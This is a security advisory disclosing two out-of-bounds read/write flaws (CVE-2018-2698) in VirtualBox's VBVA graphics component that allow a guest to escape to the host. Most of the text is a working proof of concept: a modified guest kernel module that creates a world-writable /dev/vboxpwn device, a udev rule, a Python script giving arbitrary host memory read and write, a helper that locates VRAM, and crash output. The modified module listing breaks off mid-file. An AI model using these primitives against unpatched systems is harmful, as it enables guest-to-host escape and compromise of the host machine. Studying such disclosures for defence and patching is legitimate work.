Oracle VirtualBox versions prior to 5.1.30 and 5.2-rc1 suffer from a guest to host escape vulnerability.
f4883fbd65fd9c887b09bc14319f0e1d
# SSD Advisory a Oracle VirtualBox Multiple Guest to Host Escape Vulnerabilities
Source: https://blogs.securiteam.com/index.php/archives/3649
## Vulnerabilities summary
The following advisory describes two (2) guest to host escape found in Oracle VirtualBox version 5.1.30, and VirtualBox version 5.2-rc1.
## Credit
An independent security researcher, Niklas Baumstark, has reported this vulnerability to Beyond Securityas SecuriTeam Secure Disclosure program.
## Vendor response
Oracle were informed of the vulnerabilities and released patches to address them.
For more details: http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.html
CVE: CVE-2018-2698
## Vulnerabilities details
The vulnerabilities found in the core graphics framework (VBVA subcomponent) and affect all host operating systems.
provide an arbitrary read/write primitive in the userland VirtualBox host rocess, relative to the guestas VRAM buffer.
The VGA device emulated by VirtualBox is associated with a certain amount of VRAM, which is mapped contiguously in both the host process running the VM and in guest kernel memory.
Parts of it are used as general-purpose shared memory segment for communication between the host and guest (host-guest shared memory interface, HGSMI).
Using this mechanism, the guest can issue certain commands to the host, for example to implement the mouse pointer integration and seamless windows features.
The guest can also tell the host to copy data around inside the VRAM on its behalf, via a subsystem called VDMA.
## Out-of-bounds read/write in vboxVDMACmdExecBpbTransfer
The VBOXVDMACMD_DMA_BPB_TRANSFER command struct looks as follows (defined in include/VBox/VBoxVideo.h:1435):
```
typedef struct VBOXVDMACMD_DMA_BPB_TRANSFER
{
uint32_t cbTransferSize;
uint32_t fFlags;
union
{
uint64_t phBuf;
VBOXVIDEOOFFSET offVramBuf;
} Src;
union
{
uint64_t phBuf;
VBOXVIDEOOFFSET offVramBuf;
} Dst;
} VBOXVDMACMD_DMA_BPB_TRANSFER, *PVBOXVDMACMD_DMA_BPB_TRANSFER;
```
When issuing a VDMA command of type VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER, a request object of this type resides in the HGSMI heap and is completely controlled by the guest.
On the host, a pointer to the object is eventually passed to the following function inside the file src/VBox/Devices/Graphics/DevVGA_VDMA.cpp:
```
static int vboxVDMACmdExecBpbTransfer(PVBOXVDMAHOST pVdma, const PVBOXVDMACMD_DMA_BPB_TRANSFER pTransfer, uint32_t cbBuffer)
{
// ...
uint32_t cbTransfer = pTransfer->cbTransferSize;
uint32_t cbTransfered = 0;
// ...
do
{
uint32_t cbSubTransfer = cbTransfer;
if (pTransfer->fFlags & VBOXVDMACMD_DMA_BPB_TRANSFER_F_SRC_VRAMOFFSET)
{
// [[ Note 1 ]]
pvSrc = pvRam + pTransfer->Src.offVramBuf + cbTransfered;
}
else
{
// ...
}
if (pTransfer->fFlags & VBOXVDMACMD_DMA_BPB_TRANSFER_F_DST_VRAMOFFSET)
{
// [[ Note 2 ]]
pvDst = pvRam + pTransfer->Dst.offVramBuf + cbTransfered;
}
else
{
// ...
}
if (RT_SUCCESS(rc))
{
memcpy(pvDst, pvSrc, cbSubTransfer);
cbTransfer -= cbSubTransfer;
cbTransfered += cbSubTransfer;
}
else
{
cbTransfer = 0; /* to break */
}
// ...
} while (cbTransfer);
if (RT_SUCCESS(rc))
return sizeof (*pTransfer);
return rc;
}
```
Note 1 and 2: the guest-controlled offsets pTransfer->Src.offVramBuf and pTransfer->Dst.offVramBuf are added to the VRAM address, without any verification or bounds checks.
A memcpy is then performed with the guest-controlled size pTransfer->cbTransferSize.
This gives us a memcpy(VRAM + X, VRAM + Y, Z) primitive, where we (as the guest)can chose X, Y and Z arbitrarily.
## Out-of-bounds read/write in vboxVDMACmdExecBlt
The VBOXVDMACMD_DMA_PRESENT_BLT command struct looks as follows:
```
typedef uint64_t VBOXVIDEOOFFSET;
/* [...] */
typedef struct VBOXVDMACMD_DMA_PRESENT_BLT
{
VBOXVIDEOOFFSET offSrc;
VBOXVIDEOOFFSET offDst;
VBOXVDMA_SURF_DESC srcDesc;
VBOXVDMA_SURF_DESC dstDesc;
VBOXVDMA_RECTL srcRectl;
VBOXVDMA_RECTL dstRectl;
uint32_t u32Reserved;
uint32_t cDstSubRects;
VBOXVDMA_RECTL aDstSubRects[1];
} VBOXVDMACMD_DMA_PRESENT_BLT, *PVBOXVDMACMD_DMA_PRESENT_BLT;
```
When issuing a VDMA command of type VBOXVDMACMD_TYPE_DMA_PRESENT_BLT, a request object of this type resides in the HGSMI heap and is completely controlled by the guest.
On the host, a pointer to the object is eventually passed to the following function inside the file src/VBox/Devices/Graphics/DevVGA_VDMA.cpp:
```
static int vboxVDMACmdExecBlt(PVBOXVDMAHOST pVdma, const PVBOXVDMACMD_DMA_PRESENT_BLT pBlt, uint32_t cbBuffer)
{
const uint32_t cbBlt = VBOXVDMACMD_BODY_FIELD_OFFSET(uint32_t, VBOXVDMACMD_DMA_PRESENT_BLT, aDstSubRects[pBlt->cDstSubRects]);
Assert(cbBlt <= cbBuffer);
if (cbBuffer < cbBlt)
return VERR_INVALID_FUNCTION;
/* we do not support stretching for now */
Assert(pBlt->srcRectl.width == pBlt->dstRectl.width);
Assert(pBlt->srcRectl.height == pBlt->dstRectl.height);
if (pBlt->srcRectl.width != pBlt->dstRectl.width)
return VERR_INVALID_FUNCTION;
if (pBlt->srcRectl.height != pBlt->dstRectl.height)
return VERR_INVALID_FUNCTION;
Assert(pBlt->cDstSubRects); /* [[ Note 2 ]] */
uint8_t * pvRam = pVdma->pVGAState->vram_ptrR3;
VBOXVDMA_RECTL updateRectl = {0, 0, 0, 0};
if (pBlt->cDstSubRects)
{
/* [...] */
}
else
{
/* [[ Note 1 ]] */
int rc = vboxVDMACmdExecBltPerform(pVdma, pvRam + pBlt->offDst, pvRam + pBlt->offSrc,
&pBlt->dstDesc, &pBlt->srcDesc,
&pBlt->dstRectl,
&pBlt->srcRectl);
AssertRC(rc);
if (!RT_SUCCESS(rc))
return rc;
vboxVDMARectlUnite(&updateRectl, &pBlt->dstRectl);
}
return cbBlt;
}
```
At Note 1, the guest-controlled offsets pBlt->offDst and pBlt->offSrc I added to the VRAM address, without any verification. Note that the assert at Note 2 is not active in production builds, so we can reach the else-branch.
vboxVDMACmdExecBltPerform then performs a memcpy between the computed addresses:
```
static int vboxVDMACmdExecBltPerform(PVBOXVDMAHOST pVdma, uint8_t *pvDstSurf, const uint8_t *pvSrcSurf,
const PVBOXVDMA_SURF_DESC pDstDesc, const PVBOXVDMA_SURF_DESC pSrcDesc,
const VBOXVDMA_RECTL * pDstRectl, const VBOXVDMA_RECTL * pSrcRectl)
{
/* [...] /*
if (pDstDesc->width == pDstRectl->width
&& pSrcDesc->width == pSrcRectl->width
&& pSrcDesc->width == pDstDesc->width)
{
Assert(!pDstRectl->left);
Assert(!pSrcRectl->left);
uint32_t cbOff = pDstDesc->pitch * pDstRectl->top;
uint32_t cbSize = pDstDesc->pitch * pDstRectl->height;
memcpy(pvDstSurf + cbOff, pvSrcSurf + cbOff, cbSize);
}
else
{
/* [...] /*
}
return VINF_SUCCESS;
}
```
By setting pDstDesc->pitch = 1, pDstRectl->top = 0, we can get cbOff = 0 and cbSize = pDstRectl->height (which we also control as the guest).
This ends up in a call to memcpy(VRAM + X, VRAM + Y, Z), where we can chose X, Y and Z arbitrarily.
## Proof of Concept
We will modified vboxvideo kernel module to trigger the bug.
The modified module will allow us to creates a device /dev/vboxpwn which can be used to send arbitrary VBVA commands via its ioctl() handler.
In this PoC we will use 64-bit Ubuntu VM.
First we will download the VBoxGuestAdditions:
```
$ wget http://download.virtualbox.org/virtualbox/5.1.30/VBoxGuestAdditions_5.1.30.iso
$ sudo mount -o loop -t iso9660 VBoxGuestAdditions_5.1.30.iso /mnt
$ sudo /mnt/VBoxLinuxAdditions.run
```
Then we will upload the modified files a HGSMIBase.c and 70-vboxpwn.rules to the home directory of the VM and rebuild the extensions with the modified code:
```
$ sudo cp 70-vboxpwn.rules /etc/udev/rules.d
$ sudo cp HGSMIBase.c /usr/src/vboxguest-5.1.30/vboxvideo
$ sudo /mnt/VBoxLinuxAdditions.run --keep --target additions --noexec
$ sudo additions/vboxadd setup
$ sudo reboot
```
There should now be a new device called /dev/vboxpwn with 0666 permissions.
Now create the following Python script called poc.py:
```
import os, fcntl, struct, array, sys
fd = os.open('/dev/vboxpwn', os.O_NONBLOCK | os.O_RDWR)
# 4/5 = BPB_TRANSFER primitive, 1/2 = PRESENT_BLT primitive
read_type = 4
write_type = 5
def read(offset, size):
data = ''
data += struct.pack("<IIq", 4, size, offset)
data += '\0'*size
data = array.array('b', data)
fcntl.ioctl(fd, len(data), data, 1)
return data[16:]
def write(offset, payload):
data = ''
data += struct.pack("<IIq", 5, len(payload), offset)
data += payload
fcntl.ioctl(fd, len(data), data)
def get_vram_size():
data = ''
data += struct.pack("<IIq", 6, 0, 0)
data += '\0'*4
data = array.array('b', data)
fcntl.ioctl(fd, len(data), data)
return struct.unpack('<I', data[16:])[0]
vram_sz = get_vram_size()
import code
code.interact(local=locals())
```
If we will run it on a Linux host we will get the following:
```
$ python2 poc.py
[...]
>>> read(0, 0x10).tostring()
'U,\\fU,\\fU,\\fU,\\f'
>>> read(vram_sz, 0x10).tostring()
'\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'
>>> read(-0x1000, 0x10).tostring()
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
```
The second read returns the header of the shared library mapped directly after the VRAM.
Of course we might crash the VM if we hit unmapped memory.
For demonstrating an absolute read/write, we need the VRAM base address on the host.
The findvram.py script find the VRAM base address a given the configured VRAM size.
In our case the VRAM is 33 MiB large.
The first argument is the PID of the host process (as shown above).
Also grab some absolute address you want to leak:
```
$ sudo python2 findvram.py 23791 33
VRAM @ 0x00007f1651c75000
$ sudo cat /proc/23791/maps | grep libcurl | head -n 1
7f168969c000-7f1689716000 r-xp 00000000 00:15 9032634 /usr/lib/libcurl.so.4.4.0
```
Back to the VM, we will read the ELF header of this library:
```
$ python2 poc.py
[...]
>>> vram = 0x00007f1651c75000
>>> read(0x7f168969c000 - vram, 0x10).tostring()
'\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'
```
And now we will crash it by writing data to an unmapped address (make sure a debugger is attached):
```
>>> write(0x414141414141 - vram, 'BBBB')
```
The crash:
```
Thread 7 "EMT" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7f1680b8e700 (LWP 23801)]
0x00007f168a87172a in __memmove_avx_unaligned_erms () from /usr/lib/libc.so.6
(gdb) x/1i $rip
=> 0x7f168a87172a <__memmove_avx_unaligned_erms+154>: mov %ecx,-0x4(%rdi,%rdx,1)
(gdb) i r ecx rdi rdx
ecx 0x42424242 1111638594
rdi 0x414141414141 71748523475265
rdx 0x4 4
```
findvram.py
```
import sys
if len(sys.argv) != 3:
print 'Usage: sudo python2 findvram.py <pid> <VRAM size in MB>'
print
print 'Finds the VRAM page on a Linux host by inspecting /proc/<pid>/maps and '
print 'looking for a properly sized map. Works best if an odd amount of VRAM is'
print 'configured, like 33 MB instead of 32.'
exit()
pid = int(sys.argv[1])
sz = int(sys.argv[2])*1024*1024
with open('/proc/%d/maps'%pid) as f:
for line in f:
start, end = [int(x,16) for x in line.split()[0].split('-')]
if end-start == sz:
print 'VRAM @ 0x%016x - 0x%016x' % (start, end)
```
70-vboxpwn.rules
```
KERNEL=="vboxpwn", NAME="vboxpwn", OWNER="vboxadd", MODE="0666"
```
HGSMIBase.c
```
/* $Id: HGSMIBase.cpp $ */
/** @file
* VirtualBox Video driver, common code - HGSMI initialisation and helper
* functions.
*/
/*
* Copyright (C) 2006-2016 Oracle Corporation
*
* This file is part of VirtualBox Open Source Edition (OSE), as
* available from http://www.virtualbox.org. This file is free software;
* you can redistribute it and/or modify it under the terms of the GNU
* General Public License (GPL) as published by the Free Software
* Foundation, in version 2 as it comes in the "COPYING" file of the
* VirtualBox OSE distribution. VirtualBox OSE is distributed in the
* hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
*/
#include <VBox/VBoxVideoGuest.h>
#include <VBox/VBoxVideo.h>
#include <VBox/VBoxGuest.h>
#include <VBox/Hardware/VBoxVideoVBE.h>
#include <VBox/VMMDev.h>
#include <iprt/asm.h>
#include <iprt/log.h>
#include <iprt/string.h>
#include <linux/printk.h>
#include <linux/miscdevice.h>
#include <linux/uaccess.h>
#include <linux/slab.h>
/** Send completion notification to the host for the command located at offset
* @a offt into the host command buffer. */
static void HGSMINotifyHostCmdComplete(PHGSMIHOSTCOMMANDCONTEXT pCtx, HGSMIOFFSET offt)
{
VBoxVideoCmnPortWriteUlong(pCtx->port, offt);
}
/**
* Inform the host that a command has been handled.
*
* @param pCtx the context containing the heap to be used
* @param pvMem pointer into the heap as mapped in @a pCtx to the command to
* be completed
*/
DECLHIDDEN(void) VBoxHGSMIHostCmdComplete(PHGSMIHOSTCOMMANDCONTEXT pCtx,
void *pvMem)
{
HGSMIBUFFERHEADER *pHdr = HGSMIBufferHeaderFromData(pvMem);
HGSMIOFFSET offMem = HGSMIPointerToOffset(&pCtx->areaCtx, pHdr);
Assert(offMem != HGSMIOFFSET_VOID);
if(offMem != HGSMIOFFSET_VOID)
{
HGSMINotifyHostCmdComplete(pCtx, offMem);
}
}
/** Submit an incoming host command to the appropriate handler. */
static void hgsmiHostCmdProcess(PHGSMIHOSTCOMMANDCONTEXT pCtx,
HGSMIOFFSET offBuffer)
{
int rc = HGSMIBufferProcess(&pCtx->areaCtx, &pCtx->channels, offBuffer);
Assert(!RT_FAILURE(rc));
if(RT_FAILURE(rc))
{
/* failure means the command was not submitted to the handler for some reason
* it's our responsibility to notify its completion in this case */
HGSMINotifyHostCmdComplete(pCtx, offBuffer);
}
/* if the cmd succeeded it's responsibility of the callback to complete it */
}
/** Get the next command from the host. */
static HGSMIOFFSET hgsmiGetHostBuffer(PHGSMIHOSTCOMMANDCONTEXT pCtx)
{
return VBoxVideoCmnPortReadUlong(pCtx->port);
}
/** Get and handle the next command from the host. */
static void hgsmiHostCommandQueryProcess(PHGSMIHOSTCOMMANDCONTEXT pCtx)
{
HGSMIOFFSET offset = hgsmiGetHostBuffer(pCtx);
AssertReturnVoid(offset != HGSMIOFFSET_VOID);
hgsmiHostCmdProcess(pCtx, offset);
}
/** Drain the host command queue. */
DECLHIDDEN(void) VBoxHGSMIProcessHostQueue(PHGSMIHOSTCOMMANDCONTEXT pCtx)
{
while (pCtx->pfHostFlags->u32HostFlags & HGSMIHOSTFLAGS_COMMANDS_PENDING)
{
if (!ASMAtomicCmpXchgBool(&pCtx->fHostCmdProcessing, true, false))
return;
hgsmiHostCommandQueryProcess(pCtx);
ASMAtomicWriteBool(&pCtx->fHostCmdProcessing, false);
}
}
/** Detect whether HGSMI is supported by the host. */
DECLHIDDEN(bool) VBoxHGSMIIsSupported(void)
{
uint16_t DispiId;
VBoxVideoCmnPortWriteUshort(VBE_DISPI_IOPORT_INDEX, VBE_DISPI_INDEX_ID);
VBoxVideoCmnPortWriteUshort(VBE_DISPI_IOPORT_DATA, VBE_DISPI_ID_HGSMI);
DispiId = VBoxVideoCmnPortReadUshort(VBE_DISPI_IOPORT_DATA);
return (DispiId == VBE_DISPI_ID_HGSMI);
}
/**
* Allocate and initialise a command descriptor in the guest heap for a
* guest-to-host command.
*
* @returns pointer to the descriptor's command data buffer
* @param pCtx the context containing the heap to be used
* @param cbData the size of the command data to go into the descriptor
* @param u8Ch the HGSMI channel to be used, set to the descriptor
* @param u16Op the HGSMI command to be sent, set to the descriptor
*/
DECLHIDDEN(void *) VBoxHGSMIBufferAlloc(PHGSMIGUESTCOMMANDCONTEXT pCtx,
HGSMISIZE cbData,
uint8_t u8Ch,
uint16_t u16Op)
{
#ifdef VBOX_WDDM_MINIPORT
return VBoxSHGSMIHeapAlloc (&pCtx->heapCtx, cbData, u8Ch, u16Op);
#else
return HGSMIHeapAlloc (&pCtx->heapCtx, cbData, u8Ch, u16Op);